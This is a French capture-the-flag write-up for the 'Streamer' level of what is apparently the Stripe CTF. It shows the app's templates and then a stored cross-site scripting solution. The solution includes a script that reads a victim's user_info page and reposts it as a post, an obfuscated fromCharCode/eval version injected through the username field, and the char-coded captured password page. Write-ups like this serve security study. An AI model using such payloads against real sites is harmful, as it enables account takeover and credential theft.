<div class='row'> <div class='span9'> <h3>Stream of Posts</h3> <table id='posts' class='table table-bordered table-condensed'> <tbody> </tbody> </table> <script> var username = "<%= @username %>"; var post_data = <%= @posts.to_json %>; function escapeHTML(val) { return $('<div/>').text(val).html(); } function addPost(item) { var new_element = '<tr><th>' + escapeHTML(item['user']) + '</th><td><h4>' + escapeHTML(item['title']) + '</h4>' + escapeHTML(item['body']) + '</td></tr>'; $('#posts > tbody:last').prepend(new_element); } for(var i = 0; i < post_data.length; i++) { var item = post_data[i]; addPost(item); }; </script> <form id='new_post' name='new_post' action='<%= absolute_url("/posts") %>' method='POST'> <%= csrf_tag %> <fieldset> <div class='control-group'> <label class='control-label' for='title'>Title:</label> <div class='controls'> <input class='input-medium' name='title' id='title' type='text'/> </div> </div> <div class='control-group'> <label class='control-label' for='content'>Content:</label> <div class='controls'> <textarea class='input-xlarge' name='body' id='content' type='text'>Your post here...</textarea> </div> </div> <div class='form-actions'> <input class='btn btn-primary' type='submit' value='Post'/> </div> <div id='status' name='status' class="alert alert-info"> Ready and waiting! </div> </fieldset> </form> <script> $(document).ready(function() { $('#new_post').submit(function(e) { var new_post_data = { title: $("#title").val(), body: $("#content").val(), <%= csrf_field %>: "<%= csrf_token %>" }; $.post('<%= absolute_url("/ajax/posts") %>', new_post_data, function(data) { var status_text = $.parseJSON(data); $('#status').html(status_text['response']); new_post_data['user'] = username; addPost(new_post_data); }); e.preventDefault(); return false; }); }); </script> </div> <div class='span3'> <h3>Users Online</h3> <table class='table table-condensed'> <% @registered_users.each do |user| %> <tr> <td> <% if @username == user[:username] %> <em> <a href='<%= absolute_url("/user_info") %>' target='_blank'> <%=h user[:username] %> (me)i </a> </em> <% else %> <%=h user[:username] %> <% end %> <br /> <span style="font-size:10px"> Last active: <%= user[:last_active].strftime('%H:%M:%S UTC') %> </span> </td> </tr> <% end %> </table> </div> </div>
The contents of views/login.erb
<div class='row'> <div class='span12'> <h3>Login</h3> <br /> <p> Sign into your Streamer account, and instantly start sharing updates with your friends. If you don't have an account yet, <a href='<%= absolute_url ("/register") %>'>create one now</a>! </p> <br /> <form class='form-inline' action='<%= absolute_url("/login") %>' method='post'> <%= csrf_tag %> <input class='input-medium' name='username' type='text' placeholder='Username'/> <input class='input-medium' name='password' type='password' placeholder='Password'/> <input class='btn btn-primary' type='submit' value='Sign In'/> </form> </div> </div>
The contents of views/register.erb
<div class='row'> <div class='span12'> <h3>Register for a Streamer account</h3> <br /> <form class='form-horizontal' action='<%= absolute_url("/register") %>' method='post'> <%= csrf_tag %> <fieldset> <div class='control-group'> <label class='control-label' for='username'>Username:</label> <div class='controls'> <input class='input-medium' name='username' id='username' type='text' placeholder='Username'/> </div> </div> <div class='control-group'> <label class='control-label' for='username'>Password:</label> <div class='controls'> <input class='input-medium' name='password' id='password' type='password' placeholder='Password'/> </div> </div> <div class='form-actions'> <input class='btn btn-primary' type='submit' value='Register'/> </div> </fieldset> </form> </div> </div>
The contents of views/layout.erb
<!doctype html> <html> <head> <title>Streamer</title> <script src='<%= absolute_url('/js/jquery-1.8.0.min.js') %>'></script> <link rel='stylesheet' type='text/css' href='<%= absolute_url('/css/bootstrap-combined.min.css') %>' /> </head> <body> <div class='navbar'> <div class='navbar-inner'> <div class='container'> <a class='brand' href='<%= absolute_url("/") %>'>Streamer</a> <% if @user %> <ul class='nav pull-right'> <li><a href='<%= absolute_url("/logout") %>'>Log Out</a></li> </ul> <% end %> </div> </div> </div> <div class='container'> <% if @error %> <p>Error: <%= @error %></p> <% end %> <% if @success %> <p>Success: <%= @success %></p> <% end %> <%= yield %> </div> </body> </html>
The contents of views/user_info.erb
<div class='row'> <div class='span12'> <h3>User Information</h3> <table class='table table-condensed'> <tr> <th>Username:</th> <td><%= @username %></td> </tr> <tr> <th>Password:</th> <td><%= @password %></td> </tr> </table> </div> </div>
Solution
Une fois enregistre, la page principale contient une liste de posts et la liste des utilisateurs en ligne. L'utilisateur peut ajouter des nouveaux posts et cliquer sur son nom. Ceci ouvrira la page user_info
qui contient le username et le password.
Comme pour l'epreuve du karma, l'idee est de forger un post de maniere a ce que quand celui-ci sera affiche par l'utilisateur level07-password-holder, les donnees de la page user_info
seront lues et directement postees.
Voila un exemple de script que l'on pourrait utiliser
$(function() { $(window).bind('load', function() { function httpGet(theUrl) { var xmlHttp = null; xmlHttp = new XMLHttpRequest(); xmlHttp.open( "GET", theUrl, false ); xmlHttp.send( null ); return xmlHttp.responseText; } value = httpGet("https://level06-2.stripe-ctf.com/user-fgdshrgpxf/user_info") output = ""; for(i=0; i<value.length; ++i) { if(output != "") output += ", "; output += value.charCodeAt(i); } document.getElementById("new_post").title.value = "pw" document.getElementById("new_post").content.value = output document.getElementById("new_post").submit() }); });
On remarque l'utilisation de $(window).bind('load', function()
car il faut attendre que la page soit entierement chargee avant de pouvoir utiliser le formulaire.
On encode aussi le resultat de la requete GET car sinon il y a des problemes d'encodage quand on cree un post avec le contenu html.
Il ne reste plus qu'a trouver un endroit ou on peut injecter notre code.
Et c'est dans le username. Si on essaie de mettre le script entier dans le username, il y a une erreur au niveau du serveur, on va donc l'encoder egalement, ce qui donne
<script> eval(String.fromCharCode(36,40,102,117,110,99,116,105,111,110,40,41,10,123,10,10,36,40,119,105,110,100,111,119,41,46,98,105,110,100,40,39,108,111,97,100,39,44,32,102,117,110,99,116,105,111,110,40,41,10,123,10,10,102,117,110,99,116,105,111,110,32,104,116,116,112,71,101,116,40,116,104,101,85,114,108,41,10,32,32,32,32,123,10,32,32,32,32,118,97,114,32,120,109,108,72,116,116,112,32,61,32,110,117,108,108,59,10,10,32,32,32,32,120,109,108,72,116,116,112,32,61,32,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,40,41,59,10,32,32,32,32,120,109,108,72,116,116,112,46,111,112,101,110,40,32,34,71,69,84,34,44,32,116,104,101,85,114,108,44,32,102,97,108,115,101,32,41,59,10,32,32,32,32,120,109,108,72,116,116,112,46,115,101,110,100,40,32,110,117,108,108,32,41,59,10,32,32,32,32,114,101,116,117,114,110,32,120,109,108,72,116,116,112,46,114,101,115,112,111,110,115,101,84,101,120,116,59,10,32,32,32,32,125,10,10,118,97,108,117,101,32,61,32,104,116,116,112,71,101,116,40,34,104,116,116,112,115,58,47,47,108,101,118,101,108,48,54,45,50,46,115,116,114,105,112,101,45,99,116,102,46,99,111,109,47,117,115,101,114,45,102,103,100,115,104,114,103,112,120,102,47,117,115,101,114,95,105,110,102,111,34,41,10,10,111,117,116,112,117,116,32,61,32,34,34,59,10,9,102,111,114,40,105,61,48,59,32,105,60,118,97,108,117,101,46,108,101,110,103,116,104,59,32,43,43,105,41,10,9,123,10,9,9,105,102,40,111,117,116,112,117,116,32,33,61,32,34,34,41,32,111,117,116,112,117,116,32,43,61,32,34,44,32,34,59,10,9,9,111,117,116,112,117,116,32,43,61,32,118,97,108,117,101,46,99,104,97,114,67,111,100,101,65,116,40,105,41,59,10,9,125,10,10,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,34,110,101,119,95,112,111,115,116,34,41,46,116,105,116,108,101,46,118,97,108,117,101,32,61,32,34,112,119,34,10,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,34,110,101,119,95,112,111,115,116,34,41,46,99,111,110,116,101,110,116,46,118,97,108,117,101,32,61,32,111,117,116,112,117,116,10,10,10,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,34,110,101,119,95,112,111,115,116,34,41,46,115,117,98,109,105,116,40,41,10,10,125,41,59,10,125,41,59)) </script>
On cree ensuite un post quelconque et on attend que l'utilisateur 07 se connecte et on recupere son post
60, 33, 100, 111, 99, 116, 121, 112, 101, 32, 104, 116, 109, 108, 62, 10, 60, 104, 116, 109, 108, 62, 10, 32, 32, 60, 104, 101, 97, 100, 62, 10, 32, 32, 32, 32, 60, 116, 105, 116, 108, 101, 62, 83, 116, 114, 101, 97, 109, 101, 114, 60, 47, 116, 105, 116, 108, 101, 62, 10, 32, 32, 32, 32, 60, 115, 99, 114, 105, 112, 116, 32, 115, 114, 99, 61, 39, 47, 117, 115, 101, 114, 45, 102, 103, 100, 115, 104, 114, 103, 112, 120, 102, 47, 106, 115, 47, 106, 113, 117, 101, 114, 121, 45, 49, 46, 56, 46, 48, 46, 109, 105, 110, 46, 106, 115, 39, 62, 60, 47, 115, 99, 114, 105, 112, 116, 62, 10, 32, 32, 32, 32, 60, 108, 105, 110, 107, 32, 114, 101, 108, 61, 39, 115, 116, 121, 108, 101, 115, 104, 101, 101, 116, 39, 32, 116, 121, 112, 101, 61, 39, 116, 101, 120, 116, 47, 99, 115, 115, 39, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 104, 114, 101, 102, 61, 39, 47, 117, 115, 101, 114, 45, 102, 103, 100, 115, 104, 114, 103, 112, 120, 102, 47, 99, 115, 115, 47, 98, 111, 111, 116, 115, 116, 114, 97, 112, 45, 99, 111, 109, 98, 105, 110, 101, 100, 46, 109, 105, 110, 46, 99, 115, 115, 39, 32, 47, 62, 10, 32, 32, 60, 47, 104, 101, 97, 100, 62, 10, 32, 32, 60, 98, 111, 100, 121, 62, 10, 32, 32, 32, 32, 60, 100, 105, 118, 32, 99, 108, 97, 115, 115, 61, 39, 110, 97, 118, 98, 97, 114, 39, 62, 10, 32, 32, 32, 32, 32, 32, 60, 100, 105, 118, 32, 99, 108, 97, 115, 115, 61, 39, 110, 97, 118, 98, 97, 114, 45, 105, 110, 110, 101, 114, 39, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 60, 100, 105, 118, 32, 99, 108, 97, 115, 115, 61, 39, 99, 111, 110, 116, 97, 105, 110, 101, 114, 39, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 60, 97, 32, 99, 108, 97, 115, 115, 61, 39, 98, 114, 97, 110, 100, 39, 32, 104, 114, 101, 102, 61, 39, 47, 117, 115, 101, 114, 45, 102, 103, 100, 115, 104, 114, 103, 112, 120, 102, 47, 39, 62, 83, 116, 114, 101, 97, 109, 101, 114, 60, 47, 97, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 60, 117, 108, 32, 99, 108, 97, 115, 115, 61, 39, 110, 97, 118, 32, 112, 117, 108, 108, 45, 114, 105, 103, 104, 116, 39, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 60, 108, 105, 62, 60, 97, 32, 104, 114, 101, 102, 61, 39, 47, 117, 115, 101, 114, 45, 102, 103, 100, 115, 104, 114, 103, 112, 120, 102, 47, 108, 111, 103, 111, 117, 116, 39, 62, 76, 111, 103, 32, 79, 117, 116, 60, 47, 97, 62, 60, 47, 108, 105, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 60, 47, 117, 108, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 10, 32, 32, 32, 32, 32, 32, 32, 32, 60, 47, 100, 105, 118, 62, 10, 32, 32, 32, 32, 32, 32, 60, 47, 100, 105, 118, 62, 10, 32, 32, 32, 32, 60, 47, 100, 105, 118, 62, 10, 32, 32, 32, 32, 60, 100, 105, 118, 32, 99, 108, 97, 115, 115, 61, 39, 99, 111, 110, 116, 97, 105, 110, 101, 114, 39, 62, 10, 10, 32, 32, 32, 32, 32, 32, 60, 100, 105, 118, 32, 99, 108, 97, 115, 115, 61, 39, 114, 111, 119, 39, 62, 10, 32, 32, 60, 100, 105, 118, 32, 99, 108, 97, 115, 115, 61, 39, 115, 112, 97, 110, 49, 50, 39, 62, 10, 32, 32, 32, 32, 60, 104, 51, 62, 85, 115, 101, 114, 32, 73, 110, 102, 111, 114, 109, 97, 116, 105, 111, 110, 60, 47, 104, 51, 62, 10, 32, 32, 32, 32, 60, 116, 97, 98, 108, 101, 32, 99, 108, 97, 115, 115, 61, 39, 116, 97, 98, 108, 101, 32, 116, 97, 98, 108, 101, 45, 99, 111, 110, 100, 101, 110, 115, 101, 100, 39, 62, 10, 32, 32, 32, 32, 32, 32, 60, 116, 114, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 60, 116, 104, 62, 85, 115, 101, 114, 110, 97, 109, 101, 58, 60, 47, 116, 104, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 60, 116, 100, 62, 108, 101, 118, 101, 108, 48, 55, 45, 112, 97, 115, 115, 119, 111, 114, 100, 45, 104, 111, 108, 100, 101, 114, 60, 47, 116, 100, 62, 10, 32, 32, 32, 32, 32, 32, 60, 47, 116, 114, 62, 10, 32, 32, 32, 32, 32, 32, 60, 116, 114, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 60, 116, 104, 62, 80, 97, 115, 115, 119, 111, 114, 100, 58, 60, 47, 116, 104, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 60, 116, 100, 62, 39, 68, 83, 109, 98, 88, 77, 102, 87, 112, 107, 106, 88, 34, 60, 47, 116, 100, 62, 10, 32, 32, 32, 32, 32, 32, 60, 47, 116, 114, 62, 10, 32, 32, 32, 32, 60, 47, 116, 97, 98, 108, 101, 62, 10, 32, 32, 60, 47, 100, 105, 118, 62, 10, 60, 47, 100, 105, 118, 62, 10, 10, 32, 32, 32, 32, 60, 47, 100, 105, 118, 62, 10, 32, 32, 60, 47, 98, 111, 100, 121, 62, 10, 60, 47, 104, 116, 109, 108, 62, 10
Un coup de fromCharCode
et on obtient son mot de passe